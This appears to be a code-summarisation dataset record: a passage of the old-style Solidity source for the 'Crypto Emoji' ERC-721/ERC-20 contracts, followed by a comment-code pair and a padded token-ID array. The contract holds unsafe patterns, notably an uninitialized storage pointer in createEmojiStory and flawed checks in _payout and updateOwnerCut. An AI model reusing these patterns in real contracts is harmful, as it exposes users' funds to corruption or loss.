MSBs of b assembly { word:= mload(mload(add(self, 32))) } var b = word / divisor; if (b < 0x80) { ret = b; length = 1; } else if(b < 0xE0) { ret = b & 0x1F; length = 2; } else if(b < 0xF0) { ret = b & 0x0F; length = 3; } else { ret = b & 0x07; length = 4; } // Check for truncated codepoints if (length > self._len) { return 0; } for (uint i = 1; i < length; i++) { divisor = divisor / 256; b = (word / divisor) & 0xFF; if (b & 0xC0 != 0x80) { // Invalid UTF-8 sequence return 0; } ret = (ret * 64) | (b & 0x3F); } return ret; } /* * @dev Returns the keccak-256 hash of the slice. * @param self The slice to hash. * @return The hash of the slice. */ function keccak(slice self) internal returns (bytes32 ret) { assembly { ret := keccak256(mload(add(self, 32)), mload(self)) } } /* * @dev Returns true if `self` starts with `needle`. * @param self The slice to operate on. * @param needle The slice to search for. * @return True if the slice starts with the provided text, false otherwise. */ function startsWith(slice self, slice needle) internal returns (bool) { if (self._len < needle._len) { return false; } if (self._ptr == needle._ptr) { return true; } bool equal; assembly { let length := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } return equal; } /* * @dev If `self` starts with `needle`, `needle` is removed from the * beginning of `self`. Otherwise, `self` is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return `self` */ function beyond(slice self, slice needle) internal returns (slice) { if (self._len < needle._len) { return self; } bool equal = true; if (self._ptr != needle._ptr) { assembly { let length := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, length), sha3(needleptr, length)) } } if (equal) { self._len -= needle._len; self._ptr += needle._len; } return self; } /* * @dev Returns true if the slice ends with `needle`. * @param self The slice to operate on. * @param needle The slice to search for. * @return True if the slice starts with the provided text, false otherwise. */ function endsWith(slice self, slice needle) internal returns (bool) { if (self._len < needle._len) { return false; } var selfptr = self._ptr + self._len - needle._len; if (selfptr == needle._ptr) { return true; } bool equal; assembly { let length := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } return equal; } /* * @dev If `self` ends with `needle`, `needle` is removed from the * end of `self`. Otherwise, `self` is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return `self` */ function until(slice self, slice needle) internal returns (slice) { if (self._len < needle._len) { return self; } var selfptr = self._ptr + self._len - needle._len; bool equal = true; if (selfptr != needle._ptr) { assembly { let length := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(keccak256(selfptr, length), keccak256(needleptr, length)) } } if (equal) { self._len -= needle._len; } return self; } // Returns the memory address of the first byte of the first occurrence of // `needle` in `self`, or the first byte after `self` if not found. function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) { uint ptr; uint idx; if (needlelen <= selflen) { if (needlelen <= 32) { // Optimized assembly for 68 gas per byte on short strings assembly { let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1)) let needledata := and(mload(needleptr), mask) let end := add(selfptr, sub(selflen, needlelen)) ptr := selfptr loop: jumpi(exit, eq(and(mload(ptr), mask), needledata)) ptr := add(ptr, 1) jumpi(loop, lt(sub(ptr, 1), end)) ptr := add(selfptr, selflen) exit: } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := sha3(needleptr, needlelen) } ptr = selfptr; for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly { testHash := sha3(ptr, needlelen) } if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } // Returns the memory address of the first byte after the last occurrence of // `needle` in `self`, or the address of `self` if not found. function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) { uint ptr; if (needlelen <= selflen) { if (needlelen <= 32) { // Optimized assembly for 69 gas per byte on short strings assembly { let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1)) let needledata := and(mload(needleptr), mask) ptr := add(selfptr, sub(selflen, needlelen)) loop: jumpi(ret, eq(and(mload(ptr), mask), needledata)) ptr := sub(ptr, 1) jumpi(loop, gt(add(ptr, 1), selfptr)) ptr := selfptr jump(exit) ret: ptr := add(ptr, needlelen) exit: } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := sha3(needleptr, needlelen) } ptr = selfptr + (selflen - needlelen); while (ptr >= selfptr) { bytes32 testHash; assembly { testHash := sha3(ptr, needlelen) } if (hash == testHash) return ptr + needlelen; ptr -= 1; } } } return selfptr; } /* * @dev Modifies `self` to contain everything from the first occurrence of * `needle` to the end of the slice. `self` is set to the empty slice * if `needle` is not found. * @param self The slice to search and modify. * @param needle The text to search for. * @return `self`. */ function find(slice self, slice needle) internal returns (slice) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); self._len -= ptr - self._ptr; self._ptr = ptr; return self; } /* * @dev Modifies `self` to contain the part of the string from the start of * `self` to the end of the first occurrence of `needle`. If `needle` * is not found, `self` is set to the empty slice. * @param self The slice to search and modify. * @param needle The text to search for. * @return `self`. */ function rfind(slice self, slice needle) internal returns (slice) { uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); self._len = ptr - self._ptr; return self; } /* * @dev Splits the slice, setting `self` to everything after the first * occurrence of `needle`, and `token` to everything before it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and `token` is set to the entirety of `self`. * @param self The slice to split. * @param needle The text to search for in `self`. * @param token An output parameter to which the first token is written. * @return `token`. */ function split(slice self, slice needle, slice token) internal returns (slice) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); token._ptr = self._ptr; token._len = ptr - self._ptr; if (ptr == self._ptr + self._len) { // Not found self._len = 0; } else { self._len -= token._len + needle._len; self._ptr = ptr + needle._len; } return token; } /* * @dev Splits the slice, setting `self` to everything after the first * occurrence of `needle`, and returning everything before it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and the entirety of `self` is returned. * @param self The slice to split. * @param needle The text to search for in `self`. * @return The part of `self` up to the first occurrence of `delim`. */ function split(slice self, slice needle) internal returns (slice token) { split(self, needle, token); } /* * @dev Splits the slice, setting `self` to everything before the last * occurrence of `needle`, and `token` to everything after it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and `token` is set to the entirety of `self`. * @param self The slice to split. * @param needle The text to search for in `self`. * @param token An output parameter to which the first token is written. * @return `token`. */ function rsplit(slice self, slice needle, slice token) internal returns (slice) { uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); token._ptr = ptr; token._len = self._len - (ptr - self._ptr); if (ptr == self._ptr) { // Not found self._len = 0; } else { self._len -= token._len + needle._len; } return token; } /* * @dev Splits the slice, setting `self` to everything before the last * occurrence of `needle`, and returning everything after it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and the entirety of `self` is returned. * @param self The slice to split. * @param needle The text to search for in `self`. * @return The part of `self` after the last occurrence of `delim`. */ function rsplit(slice self, slice needle) internal returns (slice token) { rsplit(self, needle, token); } /* * @dev Counts the number of nonoverlapping occurrences of `needle` in `self`. * @param self The slice to search. * @param needle The text to search for in `self`. * @return The number of occurrences of `needle` found in `self`. */ function count(slice self, slice needle) internal returns (uint cnt) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len; while (ptr <= self._ptr + self._len) { cnt++; ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len; } } /* * @dev Returns True if `self` contains `needle`. * @param self The slice to search. * @param needle The text to search for in `self`. * @return True if `needle` is found in `self`, false otherwise. */ function contains(slice self, slice needle) internal returns (bool) { return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr; } /* * @dev Returns a newly allocated string containing the concatenation of * `self` and `other`. * @param self The first slice to concatenate. * @param other The second slice to concatenate. * @return The concatenation of the two strings. */ function concat(slice self, slice other) internal returns (string) { var ret = new string(self._len + other._len); uint retptr; assembly { retptr := add(ret, 32) } memcpy(retptr, self._ptr, self._len); memcpy(retptr + self._len, other._ptr, other._len); return ret; } /* * @dev Joins an array of slices, using `self` as a delimiter, returning a * newly allocated string. * @param self The delimiter to use. * @param parts A list of slices to join. * @return A newly allocated string containing all the slices in `parts`, * joined with `self`. */ function join(slice self, slice[] parts) internal returns (string) { if (parts.length == 0) return ""; uint length = self._len * (parts.length - 1); for(uint i = 0; i < parts.length; i++) length += parts[i]._len; var ret = new string(length); uint retptr; assembly { retptr := add(ret, 32) } for(i = 0; i < parts.length; i++) { memcpy(retptr, parts[i]._ptr, parts[i]._len); retptr += parts[i]._len; if (i < parts.length - 1) { memcpy(retptr, self._ptr, self._len); retptr += self._len; } } return ret; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens /// @author Dieter Shirley <[email protected]> (https://github.com/dete) contract ERC721 { // Required methods function approve(address _to, uint256 _tokenId) public; function balanceOf(address _owner) public view returns (uint256 balance); function implementsERC721() public pure returns (bool); function ownerOf(uint256 _tokenId) public view returns (address addr); function takeOwnership(uint256 _tokenId) public; function totalSupply() public view returns (uint256 total); function transferFrom(address _from, address _to, uint256 _tokenId) public; function transfer(address _to, uint256 _tokenId) public; event Transfer(address indexed from, address indexed to, uint256 tokenId); event Approval(address indexed owner, address indexed approved, uint256 tokenId); // Optional // function name() public view returns (string name); // function symbol() public view returns (string symbol); // function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256 tokenId); // function tokenMetadata(uint256 _tokenId) public view returns (string infoUrl); } contract ERC20 { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20 { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MutableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount, uint256 balance, uint256 totalSupply); event Burn(address indexed burner, uint256 value, uint256 balance, uint256 totalSupply); address master; function setContractMaster(address _newMaster) onlyOwner public { require(_newMaster != address(0)); require(EmojiToken(_newMaster).isEmoji()); master = _newMaster; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) public returns (bool) { require(master == msg.sender); totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount, balances[_to], totalSupply_); Transfer(address(0), _to, _amount); return true; } /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value, address _owner) public { require(master == msg.sender); require(_value <= balances[_owner]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = _owner; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(burner, _value, balances[burner], totalSupply_); } } /* Base contract for ERC-20 Craft Token Collectibles. * @title Crypto Emoji - #Emojinomics * @author Fazri Zubair & Farhan Khwaja (Lucid Sight, Inc.) */ contract CraftToken is MutableToken { string public name; string public symbol; uint8 public decimals; function CraftToken(string emoji, string symb) public { require(EmojiToken(msg.sender).isEmoji()); master = msg.sender; name = emoji; symbol = symb; decimals = 8; } } /* Base contract for ERC-721 Emoji Token Collectibles. * @title Crypto Emoji - #Emojinomics * @author Fazri Zubair & Farhan Khwaja (Lucid Sight, Inc.) */ contract EmojiToken is ERC721 { using strings for *; /*** EVENTS ***/ event Birth(uint256 tokenId, string name, address owner); event TokenSold(uint256 tokenId, uint256 oldPrice, uint256 newPrice, address prevOwner, address winner, string name); event Transfer(address from, address to, uint256 tokenId); event EmojiMessageUpdated(address from, uint256 tokenId, string message); event TokenBurnt(uint256 tokenId, address master); /*** CONSTANTS ***/ /// @notice Name and symbol of the non fungible token, as defined in ERC721. string public constant NAME = "CryptoEmoji"; string public constant SYMBOL = "CE"; uint256 private constant PROMO_CREATION_LIMIT = 1000; uint256 private startingPrice = 0.001 ether; uint256 private firstStepLimit = 0.063 ether; uint256 private secondStepLimit = 0.52 ether; //5% to contract uint256 ownerCut = 5; bool ownerCutIsLocked; //One Craft token 1 has 8 decimals uint256 oneCraftToken = 100000000; /*** STORAGE ***/ /// @dev A mapping from EMOJI IDs to the address that owns them. All emojis must have /// some valid owner address. mapping (uint256 => address) public emojiIndexToOwner; // @dev A mapping from owner address to count of tokens that address owns. // Used internally inside balanceOf() to resolve ownership count. mapping (address => uint256) private ownershipTokenCount; /// @dev A mapping from Emojis to an address that has been approved to call /// transferFrom(). Each Emoji can only have one approved address for transfer /// at any time. A zero value means no approval is outstanding. mapping (uint256 => address) public emojiIndexToApproved; // @dev A mapping from emojis to the price of the token. mapping (uint256 => uint256) private emojiIndexToPrice; // @dev A mapping from emojis in existence mapping (string => bool) private emojiCreated; mapping (uint256 => address) private emojiCraftTokenAddress; // The addresses of the accounts (or contracts) that can execute actions within each roles. address public ceoAddress; address public cooAddress; uint256 public promoCreatedCount; /*** DATATYPES ***/ struct Emoji { string name; string msg; } struct MemoryHolder { mapping(uint256 => uint256) bal; mapping(uint256 => uint256) used; } Emoji[] private emojis; /*** ACCESS MODIFIERS ***/ /// @dev Access modifier for CEO-only functionality modifier onlyCEO() { require(msg.sender == ceoAddress); _; } /// @dev Access modifier for COO-only functionality modifier onlyCOO() { require(msg.sender == cooAddress); _; } /// Access modifier for contract owner only functionality modifier onlyCLevel() { require( msg.sender == ceoAddress || msg.sender == cooAddress ); _; } /*** CONSTRUCTOR ***/ function EmojiToken() public { ceoAddress = msg.sender; cooAddress = msg.sender; } function isEmoji() public returns (bool) { return true; } /// @notice Here for bug related migration function migrateCraftTokenMaster(uint tokenId, address newMasterContract) public onlyCLevel { CraftToken(emojiCraftTokenAddress[tokenId]).setContractMaster(newMasterContract); } /*** PUBLIC FUNCTIONS ***/ /// @notice Grant another address the right to transfer token via takeOwnership() and transferFrom(). /// @param _to The address to be granted transfer approval. Pass address(0) to /// clear all approvals. /// @param _tokenId The ID of the Token that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function approve( address _to, uint256 _tokenId ) public { // Caller must own token. require(_owns(msg.sender, _tokenId)); emojiIndexToApproved[_tokenId] = _to; Approval(msg.sender, _to, _tokenId); } /// For querying balance of a particular account /// @param _owner The address for balance query /// @dev Required for ERC-721 compliance. function balanceOf(address _owner) public view returns (uint256 balance) { return ownershipTokenCount[_owner]; } /// @dev Creates a new promo Emoji with the given name, with given _price and assignes it to an address. function createPromoEmoji(address _owner, string _name, string _symb, uint256 _price) public onlyCLevel { require(promoCreatedCount < PROMO_CREATION_LIMIT); address emojiOwner = _owner; if (emojiOwner == address(0)) { emojiOwner = cooAddress; } if (_price <= 0) { _price = startingPrice; } promoCreatedCount++; uint256 indx = _createEmoji(_name, emojiOwner, _price); //Creates token contract emojiCraftTokenAddress[indx] = new CraftToken(_name, _symb); } /// @dev Creates a new Emoji with the given name. function createBaseEmoji(string _name, string _symb) public onlyCLevel { uint256 indx = _createEmoji(_name, address(this), startingPrice); //Creates token contract emojiCraftTokenAddress[indx] = new CraftToken(_name, _symb); } function createEmojiStory(uint[] _parts) public { MemoryHolder storage memD; string memory mashUp = ""; uint price; for(uint i = 0; i < _parts.length; i++) { if(memD.bal[_parts[i]] == 0) { memD.bal[_parts[i]] = CraftToken(emojiCraftTokenAddress[_parts[i]]).balanceOf(msg.sender); } memD.used[_parts[i]]++; require(CraftToken(emojiCraftTokenAddress[_parts[i]]).balanceOf(msg.sender) >= memD.used[_parts[i]]); price += emojiIndexToPrice[_parts[i]]; mashUp = mashUp.toSlice().concat(emojis[_parts[i]].name.toSlice()); } //Creates Mash Up _createEmoji(mashUp,msg.sender,price); //BURN for(uint iii = 0; iii < _parts.length; iii++) { CraftToken(emojiCraftTokenAddress[_parts[iii]]).burn(oneCraftToken, msg.sender); TokenBurnt(_parts[iii], emojiCraftTokenAddress[_parts[iii]]); } } /// @notice Returns all the relevant information about a specific emoji. /// @param _tokenId The tokenId of the emoji of interest. function getCraftTokenAddress(uint256 _tokenId) public view returns ( address masterErc20 ) { masterErc20 = emojiCraftTokenAddress[_tokenId]; } /// @notice Returns all the relevant information about a specific emoji. /// @param _tokenId The tokenId of the emoji of interest. function getEmoji(uint256 _tokenId) public view returns ( string emojiName, string emojiMsg, uint256 sellingPrice, address owner ) { Emoji storage emojiObj = emojis[_tokenId]; emojiName = emojiObj.name; emojiMsg = emojiObj.msg; sellingPrice = emojiIndexToPrice[_tokenId]; owner = emojiIndexToOwner[_tokenId]; } function implementsERC721() public pure returns (bool) { return true; } /// @dev Required for ERC-721 compliance. function name() public pure returns (string) { return NAME; } /// For querying owner of token /// @param _tokenId The tokenID for owner inquiry /// @dev Required for ERC-721 compliance. function ownerOf(uint256 _tokenId) public view returns (address owner) { owner = emojiIndexToOwner[_tokenId]; require(owner != address(0)); } function payout(address _to) public onlyCLevel { _payout(_to); } // Allows someone to send ether and obtain the token function purchase(uint256 _tokenId) public payable { address oldOwner = emojiIndexToOwner[_tokenId]; uint sellingPrice = emojiIndexToPrice[_tokenId]; address newOwner = msg.sender; // Making sure token owner is not sending to self require(oldOwner != newOwner); // Safety check to prevent against an unexpected 0x0 default. require(_addressNotNull(newOwner)); // Making sure sent amount is greater than or equal to the sellingPrice require(msg.value >= sellingPrice); uint256 percentage = SafeMath.sub(100, ownerCut); uint256 payment = uint256(SafeMath.div(SafeMath.mul(sellingPrice, percentage), 100)); uint256 purchaseExcess = SafeMath.sub(msg.value, sellingPrice); // Update prices if (sellingPrice < firstStepLimit) { // first stage emojiIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 200), percentage); } else if (sellingPrice < secondStepLimit) { // second stage emojiIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 130), percentage); } else { // third stage emojiIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 115), percentage); } _transfer(oldOwner, newOwner, _tokenId); // Pay previous tokenOwner if owner is not contract if (oldOwner != address(this)) { oldOwner.transfer(payment); //(1-0.06) } TokenSold(_tokenId, sellingPrice, emojiIndexToPrice[_tokenId], oldOwner, newOwner, emojis[_tokenId].name); msg.sender.transfer(purchaseExcess); //if Non-Story if(emojiCraftTokenAddress[_tokenId] != address(0)) { CraftToken(emojiCraftTokenAddress[_tokenId]).mint(oldOwner,oneCraftToken); CraftToken(emojiCraftTokenAddress[_tokenId]).mint(msg.sender,oneCraftToken); } } function transferTokenToCEO(uint256 _tokenId, uint qty) public onlyCLevel { CraftToken(emojiCraftTokenAddress[_tokenId]).transfer(ceoAddress,qty); } function priceOf(uint256 _tokenId) public view returns (uint256 price) { return emojiIndexToPrice[_tokenId]; } /// @dev Assigns a new address to act as the CEO. Only available to the current CEO. /// @param _newCEO The address of the new CEO function setCEO(address _newCEO) public onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } /// @dev Assigns a new address to act as the COO. Only available to the current CEO. /// @param _newCOO The address of the new COO function setCOO(address _newCOO) public onlyCOO { require(_newCOO != address(0)); cooAddress = _newCOO; } /// @dev Required for ERC-721 compliance. function symbol() public pure returns (string) { return SYMBOL; } /// @notice Allow pre-approved user to take ownership of a token /// @param _tokenId The ID of the Token that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function takeOwnership(uint256 _tokenId) public { address newOwner = msg.sender; address oldOwner = emojiIndexToOwner[_tokenId]; // Safety check to prevent against an unexpected 0x0 default. require(_addressNotNull(newOwner)); // Making sure transfer is approved require(_approved(newOwner, _tokenId)); _transfer(oldOwner, newOwner, _tokenId); } function setEmojiMsg(uint256 _tokenId, string message) public { require(_owns(msg.sender, _tokenId)); Emoji storage item = emojis[_tokenId]; item.msg = bytes32ToString(stringToBytes32(message)); EmojiMessageUpdated(msg.sender, _tokenId, item.msg); } function stringToBytes32(string memory source) internal returns (bytes32 result) { bytes memory tempEmptyStringTest = bytes(source); if (tempEmptyStringTest.length == 0) { return 0x0; } assembly { result := mload(add(source, 32)) } } function bytes32ToString(bytes32 x) constant internal returns (string) { bytes memory bytesString = new bytes(32); uint charCount = 0; for (uint j = 0; j < 32; j++) { byte char = byte(bytes32(uint(x) * 2 ** (8 * j))); if (char != 0) { bytesString[charCount] = char; charCount++; } } bytes memory bytesStringTrimmed = new bytes(charCount); for (j = 0; j < charCount; j++) { bytesStringTrimmed[j] = bytesString[j]; } return string(bytesStringTrimmed); } /// @param _owner The owner whose emoji tokens we are interested in. /// @dev This method MUST NEVER be called by smart contract code. First, it's fairly /// expensive (it walks the entire Emojis array looking for emojis belonging to owner), /// but it also returns a dynamic array, which is only supported for web3 calls, and /// not contract-to-contract calls. function tokensOfOwner(address _owner) public view returns(uint256[] ownerTokens) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { // Return an empty array return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 totalEmojis = totalSupply(); uint256 resultIndex = 0; uint256 emojiId; for (emojiId = 0; emojiId <= totalEmojis; emojiId++) { if (emojiIndexToOwner[emojiId] == _owner) { result[resultIndex] = emojiId; resultIndex++; } } return result; } } /// For querying totalSupply of token /// @dev Required for ERC-721 compliance. function totalSupply() public view returns (uint256 total) { return emojis.length; } /// Owner initates the transfer of the token to another account /// @param _to The address for the token to be transferred to. /// @param _tokenId The ID of the Token that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function transfer( address _to, uint256 _tokenId ) public { require(_owns(msg.sender, _tokenId)); require(_addressNotNull(_to)); _transfer(msg.sender, _to, _tokenId); } /// Third-party initiates transfer of token from address _from to address _to /// @param _from The address for the token to be transferred from. /// @param _to The address for the token to be transferred to. /// @param _tokenId The ID of the Token that can be transferred if this call succeeds. /// @dev Required for ERC-721 compliance. function transferFrom( address _from, address _to, uint256 _tokenId ) public { require(_owns(_from, _tokenId)); require(_approved(_to, _tokenId)); require(_addressNotNull(_to)); _transfer(_from, _to, _tokenId); } /*** PRIVATE FUNCTIONS ***/ /// Safety check on _to address to prevent against an unexpected 0x0 default. function _addressNotNull(address _to) private pure returns (bool) { return _to != address(0); } /// For checking approval of transfer for address _to function _approved(address _to, uint256 _tokenId) private view returns (bool) { return emojiIndexToApproved[_tokenId] == _to; } /// For creating Emoji function _createEmoji(string _name, address _owner, uint256 _price) private returns(uint256) { require(emojiCreated[_name] == false); Emoji memory _emoji = Emoji({ name: _name, msg: "💥New💥" }); uint256 newEmojiId = emojis.push(_emoji) - 1; // It's probably never going to happen, 4 billion tokens are A LOT, but // let's just be 100% sure we never let this happen. require(newEmojiId == uint256(uint32(newEmojiId))); Birth(newEmojiId, _name, _owner); emojiIndexToPrice[newEmojiId] = _price; // This will assign ownership, and also emit the Transfer event as // per ERC721 draft _transfer(address(0), _owner, newEmojiId); emojiCreated[_name] = true; return newEmojiId; } /// Check for token ownership function _owns(address claimant, uint256 _tokenId) private view returns (bool) { return claimant == emojiIndexToOwner[_tokenId]; } /// For paying out balance on contract function _payout(address _to) private { if (_to == address(0)) { ceoAddress.transfer(this.balance); } } /// @dev Assigns ownership of a specific Emoji to an address. function _transfer(address _from, address _to, uint256 _tokenId) private { // Since the number of emojis is capped to 2^32 we can't overflow this ownershipTokenCount[_to]++; //transfer ownership emojiIndexToOwner[_tokenId] = _to; // When creating new emojis _from is 0x0, but we can't account that address. if (_from != address(0)) { ownershipTokenCount[_from]--; // clear any previously approved ownership exchange delete emojiIndexToApproved[_tokenId]; } // Emit the transfer event. Transfer(_from, _to, _tokenId); } /// @dev Updates ownerCut function updateOwnerCut(uint256 _newCut) external onlyCLevel{ require(ownerCut <= 9); require(ownerCutIsLocked == false); ownerCut = _newCut; } /// @dev Lock ownerCut function lockOwnerCut(uint confirmCode) external onlyCLevel{ /// Not a secert just to make sure we don't accidentally submit this function if(confirmCode == 197428124) { ownerCutIsLocked = true; } } }
Creates token contract
emojiCraftTokenAddress[indx] = new CraftToken(_name, _symb);
12,846,476
[ 1, 2729, 1147, 6835, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
